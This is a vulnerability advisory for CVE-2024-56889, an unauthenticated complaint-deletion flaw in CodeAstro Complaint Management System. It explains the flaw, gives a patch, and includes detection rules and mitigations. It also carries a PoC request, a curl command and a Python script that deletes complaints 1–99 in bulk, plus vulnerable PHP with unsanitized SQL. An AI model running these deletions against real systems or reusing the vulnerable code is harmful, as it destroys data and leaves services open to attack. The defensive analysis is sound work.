CVE-2024-56889

Executive Summary

CVE-2024-56889 is an Incorrect Access Control vulnerability in the CodeAstro Complaint Management System v1.0. The flaw resides in the /admin/m_delete.php endpoint, which fails to enforce proper authorization checks. An unauthenticated attacker can arbitrarily delete complaints by simply modifying the id parameter in a GET or POST request. This leads to unauthorized data destruction, impacting the integrity of the complaint database.

The vulnerability is trivial to exploit, requires no authentication, and has a public proof-of-concept (PoC) available. The vendor (CodeAstro) has not released a patch, leaving all instances of v1.0 exposed. The EPSS score is 0.0% due to low exploitation activity at the time of analysis, but the simplicity of the attack makes it a high-priority target for opportunistic threat actors.

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). It is a standalone PHP web application. No supply chain implications exist beyond the direct use of the CodeAstro Complaint Management System.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: High
• Availability Impact: None

Threat Level: High. The vulnerability allows unauthenticated deletion of arbitrary complaints, causing irreversible data loss. The attack surface is large due to the lack of authentication requirements.

Deep Dive & Mechanics

The vulnerability exists in the file /admin/m_delete.php. The endpoint accepts an id parameter via GET or POST and directly uses it in a SQL DELETE query without verifying the user's session or role. The core issue is the absence of an authentication check (e.g., session_start() and $_SESSION['loggedin'] verification) before processing the deletion.

Root Cause: The developer assumed that only authenticated administrators would access this page, but no server-side authorization logic was implemented. The id parameter is also not sanitized, making it potentially vulnerable to SQL injection, though the primary reported issue is access control.

Attack Flow:

1. Attacker identifies a target running CodeAstro Complaint Management System v1.0.
2. Attacker sends a GET request to /admin/m_delete.php?id=1 (or any valid complaint ID).
3. The server executes the DELETE query without checking if the attacker is logged in.
4. The complaint record is permanently removed from the database.

Proof-of-Concept (PoC) Request:

GET /admin/m_delete.php?id=1 HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml

Vulnerable vs. Patched Code

Vulnerable Code (v1.0):

<?php
// /admin/m_delete.php
include('db.php');
$id = $_GET['id'];
$query = "DELETE FROM complaints WHERE id = $id";
mysqli_query($con, $query);
header('Location: manage_complaints.php');
?>

Patched Code (Hypothetical Fix):

<?php
// /admin/m_delete.php
session_start();
include('db.php');

// Authentication check
if (!isset($_SESSION['loggedin']) || $_SESSION['loggedin'] !== true) {
    header('Location: login.php');
    exit();
}

// Authorization check (optional, if role-based)
if ($_SESSION['role'] !== 'admin') {
    header('Location: unauthorized.php');
    exit();
}

$id = intval($_GET['id']); // Sanitize input
$query = "DELETE FROM complaints WHERE id = $id";
mysqli_query($con, $query);
header('Location: manage_complaints.php');
?>

Exploitation & Lab Setup

Red Team

Lab Environment:

• Target: CodeAstro Complaint Management System v1.0 running on Apache/PHP/MySQL.
• Attacker: Kali Linux with curl or Burp Suite.

Exploitation Steps:

1. Enumerate complaint IDs (e.g., via /admin/manage_complaints.php if accessible, or by brute-forcing IDs).
2. Send a DELETE request:

   curl -X GET "http://target.com/admin/m_delete.php?id=1"
   

3. Verify deletion by checking the complaints list or database.

Automated Exploit Script (Python):

import requests

target = "http://target.com/admin/m_delete.php"
for complaint_id in range(1, 100):
    url = f"{target}?id={complaint_id}"
    response = requests.get(url)
    if response.status_code == 200:
        print(f"Deleted complaint ID: {complaint_id}")

Blue Team

Detection & Prevention:

• Monitor HTTP logs for requests to /admin/m_delete.php without a preceding login session.
• Implement Web Application Firewall (WAF) rules to block direct access to /admin/m_delete.php without a valid session cookie.
• Use database audit logs to detect unauthorized DELETE operations.

Honeypot Strategy:

• Deploy a fake /admin/m_delete.php endpoint that logs attacker IPs and alerts SOC.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP GET/POST requests to /admin/m_delete.php?id=<number> from external IPs.
  • Absence of session cookies (e.g., PHPSESSID) in requests to /admin/ endpoints.

• File IOCs:

  • Log entries in Apache access log showing GET /admin/m_delete.php?id=... with 200 status code.

• Database IOCs:

  • Sudden disappearance of complaint records without corresponding admin login activity.

Detection Engineering

YARA Rule

rule Detect_CodeAstro_Delete_Exploit {
    meta:
        description = "Detects exploitation attempts against CVE-2024-56889"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-56889"
    strings:
        $s1 = "/admin/m_delete.php" ascii wide nocase
        $s2 = "id=" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: CodeAstro Complaint Management System Unauthorized Delete Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects attempts to exploit CVE-2024-56889 by accessing /admin/m_delete.php without authentication.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/admin/m_delete.php'
        cs-uri-query|contains: 'id='
    condition: selection
falsepositives:
    - Legitimate admin activity (rare, should be correlated with session)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-56889 CodeAstro Complaint Delete Attempt"; flow:to_server; http.method; content:"GET"; http.uri; content:"/admin/m_delete.php"; http.uri; content:"id="; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the endpoint: Remove or rename /admin/m_delete.php until a patch is applied.
2. Implement authentication: Add session checks to all admin endpoints.
3. Input validation: Sanitize the id parameter using intval() or prepared statements.

Long-Term Fix:

• Upgrade to a patched version if the vendor releases one.
• Migrate to a supported complaint management system with proper access controls.

Compensating Controls:

• Deploy a WAF with a custom rule to block requests to /admin/m_delete.php without a valid session cookie.
• Restrict access to /admin/ directory via .htaccess:

  <Directory "/var/www/html/admin">
      Require ip 192.168.1.0/24
  </Directory>
  

Valters IT
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